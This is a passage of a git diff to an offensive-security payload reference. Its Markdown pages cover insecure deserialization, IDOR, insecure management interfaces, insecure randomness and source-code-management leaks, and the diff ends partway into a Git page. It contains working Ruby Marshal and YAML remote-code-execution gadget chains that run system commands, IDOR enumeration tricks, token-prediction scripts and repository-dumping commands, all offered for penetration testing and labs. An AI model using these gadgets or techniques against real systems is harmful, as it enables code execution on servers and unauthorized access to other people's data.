+| Object Type     | Header (Hex) | Header (Base64) |
+|-----------------|--------------|-----------------|
+| Java Serialized | AC ED        | rO              |
+| .NET ViewState  | FF 01        | /w              |
+| Python Pickle   | 80 04 95     | gASV            |
+| PHP Serialized  | 4F 3A        | Tz              |
+
+## POP Gadgets
+
+> A POP (Property Oriented Programming) gadget is a piece of code implemented by an application's class, that can be called during the deserialization process.
+
+POP gadgets characteristics:
+
+* Can be serialized
+* Has public/accessible properties
+* Implements specific vulnerable methods
+* Has access to other "callable" classes
+
+## Labs
+
+* [PortSwigger - Modifying serialized objects](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects)
+* [PortSwigger - Modifying serialized data types](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types)
+* [PortSwigger - Using application functionality to exploit insecure deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization)
+* [PortSwigger - Arbitrary object injection in PHP](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php)
+* [PortSwigger - Exploiting Java deserialization with Apache Commons](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons)
+* [PortSwigger - Exploiting PHP deserialization with a pre-built gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain)
+* [PortSwigger - Exploiting Ruby deserialization using a documented gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain)
+* [PortSwigger - Developing a custom gadget chain for Java deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization)
+* [PortSwigger - Developing a custom gadget chain for PHP deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization)
+* [PortSwigger - Using PHAR deserialization to deploy a custom gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain)
+* [NickstaDB - DeserLab](https://github.com/NickstaDB/DeserLab)
 
 ## References
 
-* [Github - ysoserial](https://github.com/frohoff/ysoserial)
+* [ExploitDB Introduction - Abdelazim Mohammed(@intx0x80) - May 27, 2018](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
-* [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
+* [Exploiting insecure deserialization vulnerabilities - PortSwigger - July 25, 2020](https://portswigger.net/web-security/deserialization/exploiting)
-* [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
+* [Instagram's Million Dollar Bug - Wesley Wineberg - December 17, 2015](http://www.exfiltrated.com/research-Instagram-RCE.php)
-* [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
-* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
-* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
-* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
-* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
-* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
-* [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
-* [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin
-* [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg 
-* [(Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel)
-* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals

Insecure Deserialization/Ruby.md

@@ -1,6 +1,14 @@
 # Ruby Deserialization
 
-## Marshal.load
+> Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby's Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects.
+
+## Summary
+
+* [Marshal Deserialization](#marshal-deserialization)
+* [YAML Deserialization](#yaml-deserialization)
+* [References](#references)
+
+## Marshal Deserialization
 
 Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
 
@@ -8,16 +16,18 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
 for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
 ```
 
-## Yaml.load
+## YAML Deserialization
 
 Vulnerable code
+
 ```ruby
 require "yaml"
 YAML.load(File.read("p.yml"))
 ```
 
-Exploitation code
+Universal gadget for ruby <= 2.7.2:
-```ruby
+
+```yaml
 --- !ruby/object:Gem::Requirement
 requirements:
   !ruby/object:Gem::DependencyList
@@ -29,9 +39,56 @@ requirements:
       spec:
 ```
 
+Universal gadget for ruby 2.x - 3.x.
+
+```yaml
+---
+- !ruby/object:Gem::Installer
+    i: x
+- !ruby/object:Gem::SpecFetcher
+    i: y
+- !ruby/object:Gem::Requirement
+  requirements:
+    !ruby/object:Gem::Package::TarReader
+    io: &1 !ruby/object:Net::BufferedIO
+      io: &1 !ruby/object:Gem::Package::TarReader::Entry
+         read: 0
+         header: "abc"
+      debug_output: &1 !ruby/object:Net::WriteAdapter
+         socket: &1 !ruby/object:Gem::RequestSet
+             sets: !ruby/object:Net::WriteAdapter
+                 socket: !ruby/module 'Kernel'
+                 method_id: :system
+             git_set: id
+         method_id: :resolve
+```
+
+```yaml
+ ---
+ - !ruby/object:Gem::Installer
+     i: x
+ - !ruby/object:Gem::SpecFetcher
+     i: y
+ - !ruby/object:Gem::Requirement
+   requirements:
+     !ruby/object:Gem::Package::TarReader
+     io: &1 !ruby/object:Net::BufferedIO
+       io: &1 !ruby/object:Gem::Package::TarReader::Entry
+          read: 0
+          header: "abc"
+       debug_output: &1 !ruby/object:Net::WriteAdapter
+          socket: &1 !ruby/object:Gem::RequestSet
+              sets: !ruby/object:Net::WriteAdapter
+                  socket: !ruby/module 'Kernel'
+                  method_id: :system
+              git_set: sleep 600
+          method_id: :resolve 
+```
 
 ## References
 
-- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
+* [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://www.elttam.com.au/blog/ruby-deserialization/)
-- [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
+* [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
-- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)
+* [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://pentesterlab.com/exercises/ruby_ugadget/course)
+* [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)
+* [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)

Insecure Direct Object References/README.md

@@ -1,59 +1,129 @@
 # Insecure Direct Object References
 
-> Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.  - OWASP
+> Insecure Direct Object References (IDOR) is a security vulnerability that occurs when an application allows users to directly access or modify objects (such as files, database records, or URLs) based on user-supplied input, without sufficient access controls. This means that if a user changes a parameter value (like an ID) in a URL or API request, they might be able to access or manipulate data that they aren’t authorized to see or modify.
 
 ## Summary
 
 * [Tools](#tools)
-* [Exploit](#exploit)
+* [Methodology](#methodology)
-* [Examples](#examples)
+    * [Numeric Value Parameter](#numeric-value-parameter)
+    * [Common Identifiers Parameter](#common-identifiers-parameter)
+    * [Weak Pseudo Random Number Generator](#weak-pseudo-random-number-generator)
+    * [Hashed Parameter](#hashed-parameter)
+    * [Wildcard Parameter](#wildcard-parameter)
+    * [IDOR Tips](#idor-tips)
+* [Labs](#labs)
 * [References](#references)
 
 ## Tools
 
-- Burp Suite plugin Authz
+* [PortSwigger/BApp Store > Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e)
-- Burp Suite plugin AuthMatrix
+* [PortSwigger/BApp Store > AuthMatrix](https://portswigger.net/bappstore/30d8ee9f40c041b0bfec67441aad158e)
-- Burp Suite plugin Authorize
+* [PortSwigger/BApp Store > Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f)
 
-## Exploit
+## Methodology
+
+IDOR stands for Insecure Direct Object Reference. It's a type of security vulnerability that arises when an application provides direct access to objects based on user-supplied input. As a result, attackers can bypass authorization and access resources in the system directly, potentially leading to unauthorized information disclosure, modification, or deletion.
+
+**Example of IDOR**:
+
+Imagine a web application that allows users to view their profile by clicking a link `https://example.com/profile?user_id=123`:
+
+```php
+<?php
+    $user_id = $_GET['user_id'];
+    $user_info = get_user_info($user_id);
+    ...
+```
+
+Here, `user_id=123` is a direct reference to a specific user's profile. If the application doesn't properly check that the logged-in user has the right to view the profile associated with `user_id=123`, an attacker could simply change the `user_id` parameter to view other users' profiles:
+
+```ps1
+https://example.com/profile?user_id=124
+```
 
 ![https://lh5.googleusercontent.com/VmLyyGH7dGxUOl60h97Lr57F7dcnDD8DmUMCZTD28BKivVI51BLPIqL0RmcxMPsmgXgvAqY8WcQ-Jyv5FhRiCBueX9Wj0HSCBhE-_SvrDdA6_wvDmtMSizlRsHNvTJHuy36LG47lstLpTqLK](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Insecure%20Direct%20Object%20References/Images/idor.png)
 
-The value of a parameter is used directly to retrieve a database record.
+### Numeric Value Parameter
 
-```powershell
+Increment and decrement these values to access sensitive information.
-http://foo.bar/somepage?invoice=12345
-```
 
-The value of a parameter is used directly to perform an operation in the system
+* Decimal value: `287789`, `287790`, `287791`, ...
+* Hexadecimal: `0x4642d`, `0x4642e`, `0x4642f`, ...
+* Unix epoch timestamp: `1695574808`, `1695575098`, ...
 
-```powershell
+**Examples**:
-http://foo.bar/changepassword?user=someuser
-```
-
-The value of a parameter is used directly to retrieve a file system resource
-
-```powershell
-http://foo.bar/showImage?img=img00011
-```
-
-The value of a parameter is used directly to access application functionality
-
-```powershell
-http://foo.bar/accessPage?menuitem=12
-```
-
-## Examples
 
 * [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789)
-* [HackerOne - IDOR on HackerOne Feedback Review - japz](https://hackerone.com/reports/262661)
+* [HackerOne - Delete messages via IDOR - naaash](https://hackerone.com/reports/697412)
+
+### Common Identifiers Parameter
+
+Some identifiers can be guessed like names and emails, they might grant you access to customer data.
+
+* Name: `john`, `doe`, `john.doe`, ...
+* Email: `john.doe@mail.com`
+* Base64 encoded value: `am9obi5kb2VAbWFpbC5jb20=`
+
+**Examples**:
+
+* [HackerOne - Insecure Direct Object Reference (IDOR) - Delete Campaigns - datph4m](https://hackerone.com/reports/1969141)
+
+### Weak Pseudo Random Number Generator
+
+* UUID/GUID v1 can be predicted if you know the time they were created: `95f6e264-bb00-11ec-8833-00155d01ef00`
+* MongoDB Object Ids are generated in a predictable manner: `5ae9b90a2c144b9def01ec37`
+    * a 4-byte value representing the seconds since the Unix epoch
+    * a 3-byte machine identifier
+    * a 2-byte process id
+    * a 3-byte counter, starting with a random value
+
+**Examples**:
+
+* [HackerOne - IDOR allowing to read another user's token on the Social Media Ads service - a_d_a_m](https://hackerone.com/reports/1464168)
+* [IDOR through MongoDB Object IDs Prediction](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
+
+### Hashed Parameter
+
+Sometimes we see websites using hashed values to generate a random user id or token, like `sha1(username)`, `md5(email)`, ...
+
+* MD5: `098f6bcd4621d373cade4e832627b4f6`
+* SHA1: `a94a8fe5ccb19ba61c4c0873d391e987982fbbd3`
+* SHA2: `9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08`
+
+**Examples**:
+
+* [IDOR with Predictable HMAC Generation - DiceCTF 2022 - CryptoCat](https://youtu.be/Og5_5tEg6M0)
+
+### Wildcard Parameter
+
+Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respond with the data of all the users.
+
+* `GET /api/users/* HTTP/1.1`
+* `GET /api/users/% HTTP/1.1`
+* `GET /api/users/_ HTTP/1.1`
+* `GET /api/users/. HTTP/1.1`
+
+### IDOR Tips
+
+* Change the HTTP request: `POST → PUT`
+* Change the content type: `XML → JSON`
+* Transform numerical values to arrays: `{"id":19} → {"id":[19]}`
+* Use Parameter Pollution: `user_id=hacker_id&user_id=victim_id`
+
+## Labs
+
+* [PortSwigger - Insecure Direct Object References](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
 
 ## References
 
-* [OWASP - Testing for Insecure Direct Object References (OTG-AUTHZ-004)](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
+* [From Christmas present in the blockchain to massive bug bounty - Jesse Lakerveld - March 21, 2018](http://web.archive.org/web/20180401130129/https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
-* [OWASP - Insecure Direct Object Reference Prevention Cheat Sheet](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
+* [How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton - November 9, 2017](https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
-* [BUGCROWD - How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton](https://www.bugcrowd.com/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
+* [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - February 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
-* [IDOR tweet as any user](http://kedrisec.com/twitter-publish-by-any-user/) by kedrisec
+* [IDOR - how to predict an identifier? Bug bounty case study - Bug Bounty Reports Explained - September 21, 2023](https://youtu.be/wx5TwS0Dres)
-* [Manipulation of ETH balance](https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
+* [Insecure Direct Object Reference Prevention Cheat Sheet - OWASP - July 31, 2023](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
-* [Viewing private Airbnb Messages](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/) 
+* [Insecure direct object references (IDOR) - PortSwigger - December 25, 2019](https://portswigger.net/web-security/access-control/idor)
-* [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - Feb 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
+* [Testing for IDORs - PortSwigger - October 29, 2024](https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/testing-for-idors)
+* [Testing for Insecure Direct Object References (OTG-AUTHZ-004) - OWASP - August 8, 2014](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
+* [The Rise of IDOR - HackerOne - April 2, 2021](https://www.hackerone.com/company-news/rise-idor)
+* [Web to App Phone Notification IDOR to view Everyone's Airbnb Messages - Brett Buerhaus - March 31, 2017](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/)

Insecure Management Interface/README.md

@@ -1,19 +1,42 @@
-# Insecure management interface
+# Insecure Management Interface
 
-## Springboot-Actuator
+> Insecure Management Interface refers to vulnerabilities in administrative interfaces used for managing servers, applications, databases, or network devices. These interfaces often control sensitive settings and can have powerful access to system configurations, making them prime targets for attackers.
+> Insecure Management Interfaces may lack proper security measures, such as strong authentication, encryption, or IP restrictions, allowing unauthorized users to potentially gain control over critical systems. Common issues include using default credentials, unencrypted communications, or exposing the interface to the public internet.
 
-Actuator endpoints let you monitor and interact with your application. 
+## Summary
-Spring Boot includes a number of built-in endpoints and lets you add your own. 
-For example, the health endpoint provides basic application health information. 
-Some of them contains sensitive info such as :
 
-- `/trace` (by default the last 100 HTTP requests with headers)
+* [Methodology](#methodology)
-- `/env` (the current environment properties)
+* [References](#references)
-- `/heapdump` (builds and returns a heap dump from the JVM used by our application). 
 
-These endpoints are enabled by default in Springboot 1.X. Since Springboot 2.x only `/health` and `/info` are enabled by default.
+## Methodology
 
+Insecure Management Interface vulnerabilities arise when administrative interfaces of systems or applications are improperly secured, allowing unauthorized or malicious users to gain access, modify configurations, or exploit sensitive operations. These interfaces are often critical for maintaining, monitoring, and controlling systems and must be secured rigorously.
+
+* Lack of Authentication or Weak Authentication:
+    * Interfaces accessible without requiring credentials.
+    * Use of default or weak credentials (e.g., admin/admin).
+
+    ```ps1
+    nuclei -t http/default-logins -u https://example.com
+    ```
+
+* Exposure to the Public Internet
+
+    ```ps1
+    nuclei -t http/exposed-panels -u https://example.com
+    nuclei -t http/exposures -u https://example.com
+    ```
+
+* Sensitive data transmitted over plain HTTP or other unencrypted protocols
+
+**Examples**:
+
+* **Network Devices**: Routers, switches, or firewalls with default credentials or unpatched vulnerabilities.
+* **Web Applications**: Admin panels without authentication or exposed via predictable URLs (e.g., /admin).
+* **Cloud Services**: API endpoints without proper authentication or overly permissive roles.
 
 ## References
 
-* [Springboot - Official Documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
+* [CAPEC-121: Exploit Non-Production Interfaces - CAPEC - July 30, 2020](https://capec.mitre.org/data/definitions/121.html)
+* [Exploiting Spring Boot Actuators - Michael Stepankin - Feb 25, 2019](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
+* [Springboot - Official Documentation - May 9, 2024](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)

Insecure Randomness/README.md

@@ -0,0 +1,208 @@
+# Insecure Randomness
+
+> Insecure randomness refers to the weaknesses associated with random number generation in computing, particularly when such randomness is used for security-critical purposes. Vulnerabilities in random number generators (RNGs) can lead to predictable outputs that can be exploited by attackers, resulting in potential data breaches or unauthorized access.
+
+## Summary
+
+* [Methodology](#methodology)
+* [Time-Based Seeds](#time-based-seeds)
+* [GUID / UUID](#guid--uuid)
+    * [GUID Versions](#guid-versions)
+* [Mongo ObjectId](#mongo-objectid)
+* [Uniqid](#uniqid)
+* [mt_rand](#mt_rand)
+* [Custom Algorithms](#custom-algorithms)
+* [References](#references)
+
+## Methodology
+
+Insecure randomness arises when the source of randomness or the method of generating random values is not sufficiently unpredictable. This can lead to predictable outputs, which can be exploited by attackers. Below, we examine common methods that are prone to insecure randomness, including time-based seeds, GUIDs, UUIDs, MongoDB ObjectIds, and the `uniqid()` function.
+
+## Time-Based Seeds
+
+Many random number generators (RNGs) use the current system time (e.g., milliseconds since epoch) as a seed. This approach can be insecure because the seed value can be easily predicted, especially in automated or scripted environments.
+
+```py
+import random
+import time
+
+seed = int(time.time())
+random.seed(seed)
+print(random.randint(1, 100))
+```
+
+The RNG is seeded with the current time, making it predictable for anyone who knows or can estimate the seed value.
+By knowing the exact time, an attacker can regenerate the correct random value, here is an example for the date `2024-11-10 13:37`.
+
+```python
+import random
+import time
+
+# Seed based on the provided timestamp
+seed = int(time.mktime(time.strptime('2024-11-10 13:37', '%Y-%m-%d %H:%M')))
+random.seed(seed)
+
+# Generate the random number
+print(random.randint(1, 100))
+```
+
+## GUID / UUID
+
+A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as `550e8400-e29b-41d4-a716-446655440000`. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.
+
+### GUID Versions
+
+Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx`
+The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
+
+| Version  | Notes  |
+|----------|--------|
+| 0 | Only `00000000-0000-0000-0000-000000000000` |
+| 1 | based on time, or clock sequence |
+| 2 | reserved in the RFC 4122, but omitted in many implementations |
+| 3 | based on a MD5 hash |
+| 4 | randomly generated |
+| 5 | based on a SHA1 hash |
+
+### Tools
+
+* [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs
+
+    ```ps1
+    $ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
+    UUID version: 1
+    UUID time: 2022-04-13 08:06:13.202186
+    UUID timestamp: 138691299732021860
+    UUID node: 91754721024
+    UUID MAC address: 00:15:5d:01:ef:00
+    UUID clock sequence: 2099
+    
+    $ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
+    ```
+
+## Mongo ObjectId
+
+Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:
+
+* **Timestamp** (4 bytes): Represents the ObjectId’s creation time, measured in seconds since the Unix epoch (January 1, 1970).
+* **Machine Identifier** (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine.
+* **Process ID** (2 bytes): Identifies the process that generated the ObjectId. Typically the process ID of the MongoDB server process, making it predictable for documents created by the same process.
+* **Counter** (3 bytes): A unique counter value that is incremented for each new ObjectId generated. Initialized to a random value when the process starts, but subsequent values are predictable as they are generated in sequence.
+
+Token example
+
+* `5ae9b90a2c144b9def01ec37`, `5ae9bac82c144b9def01ec39`
+
+### Tools
+
+* [andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) - Predict Mongo ObjectIds
+
+    ```ps1
+    ./mongo-objectid-predict 5ae9b90a2c144b9def01ec37
+    5ae9bac82c144b9def01ec39
+    5ae9bacf2c144b9def01ec3a
+    5ae9bada2c144b9def01ec3b
+    ```
+
+* Python script to recover the `timestamp`, `process` and `counter`
+
+    ```py
+    def MongoDB_ObjectID(timestamp, process, counter):
+        return "%08x%10x%06x" % (
+            timestamp,
+            process,
+            counter,
+        )
+
+    def reverse_MongoDB_ObjectID(token):
+        timestamp = int(token[0:8], 16)
+        process = int(token[8:18], 16)
+        counter = int(token[18:24], 16)
+        return timestamp, process, counter
+
+
+    def check(token):
+        (timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
+        return token == MongoDB_ObjectID(timestamp, process, counter)
+
+    tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"]
+    for token in tokens:
+        (timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
+        print(f"{token}: {timestamp} - {process} - {counter}")
+    ```
+
+## Uniqid
+
+Token derived using `uniqid` are based on timestamp and they can be reversed.
+
+* [Riamse/python-uniqid](https://github.com/Riamse/python-uniqid/blob/master/uniqid.py) is based on a timestamp
+* [php/uniqid](https://github.com/php/php-src/blob/master/ext/standard/uniqid.c)
+
+Token examples
+
+* uniqid: `6659cea087cd6`, `6659cea087cea`
+* sha256(uniqid): `4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4`, `ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4`
+
+### Tools
+
+```py
+import math
+import datetime
+
+def uniqid(timestamp: float) -> str:
+    sec = math.floor(timestamp)
+    usec = round(1000000 * (timestamp - sec))
+    return "%8x%05x" % (sec, usec)
+
+def reverse_uniqid(value: str) -> float:
+    sec = int(value[:8], 16)
+    usec = int(value[8:], 16)
+    return float(f"{sec}.{usec}")
+
+tokens = ["6659cea087cd6" , "6659cea087cea"]
+for token in tokens:
+    t = float(reverse_uniqid(token))
+    d = datetime.datetime.fromtimestamp(t)
+    print(f"{token} - {t} => {d}")
+```
+
+## mt_rand
+
+Breaking mt_rand() with two output values and no bruteforce.
+
+* [ambionics/mt_rand-reverse](https://github.com/ambionics/mt_rand-reverse) - Script to recover mt_rand()'s seed with only two outputs and without any bruteforce.
+
+```ps1
+./display_mt_rand.php 12345678 123
+712530069 674417379
+
+./reverse_mt_rand.py 712530069 674417379 123 1
+```
+
+## Custom Algorithms
+
+Creating your own randomness algorithm is generally not recommended. Below are some examples found on GitHub or StackOverflow that are sometimes used in production, but may not be reliable or secure.
+
+* `$token = md5($emailId).rand(10,9999);`
+* `$token = md5(time()+123456789 % rand(4000, 55000000));`
+
+### Tools
+
+Generic identification and sandwitch attack:
+
+* [AethliosIK/reset-tolkien](https://github.com/AethliosIK/reset-tolkien) - Insecure time-based secret exploitation and Sandwich attack implementation Resources
+
+    ```ps1
+    reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
+    reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"
+    ```
+
+## References
+
+* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
+* [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
+* [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
+* [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*
+* [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
+* [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
+* [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)

Insecure Source Code Management/Bazaar.md

@@ -0,0 +1,52 @@
+# Bazaar
+
+> Bazaar  (also known as bzr ) is a free, distributed version control system (DVCS) that helps you track project history over time and collaborate seamlessly with others. Developed by Canonical, Bazaar emphasizes ease of use, a flexible workflow, and rich features to cater to both individual developers and large teams.
+
+## Summary
+
+* [Tools](#tools)
+    * [rip-bzr.pl](#rip-bzrpl)
+    * [bzr_dumper](#bzr_dumper)
+* [References](#references)
+
+## Tools
+
+### rip-bzr.pl
+
+* [kost/dvcs-ripper/rip-bzr.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl)
+
+    ```powershell
+    docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
+    ```
+
+### bzr_dumper
+
+* [SeahunOh/bzr_dumper](https://github.com/SeahunOh/bzr_dumper)
+
+```powershell
+python3 dumper.py -u "http://127.0.0.1:5000/" -o source
+Created a standalone tree (format: 2a)
+[!] Target : http://127.0.0.1:5000/
+[+] Start.
+[+] GET repository/pack-names
+[+] GET README
+[+] GET checkout/dirstate
+[+] GET checkout/views
+[+] GET branch/branch.conf
+[+] GET branch/format
+[+] GET branch/last-revision
+[+] GET branch/tag
+[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
+[*] Finish
+```
+
+```powershell
+bzr revert
+ N  application.py
+ N  database.py
+ N  static/
+```
+
+## References
+
+* [STEM CTF Cyber Challenge 2019 – My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://ctftime.org/writeup/13380)

Insecure Source Code Management/Git.md

@@ -0,0 +1,249 @@
+# Git
+
+## Summary
+
+* [Methodology](#methodology)
+    * [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead)
+    * [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
+* [Tools](#tools)
+    * [Automatic recovery](#automatic-recovery)
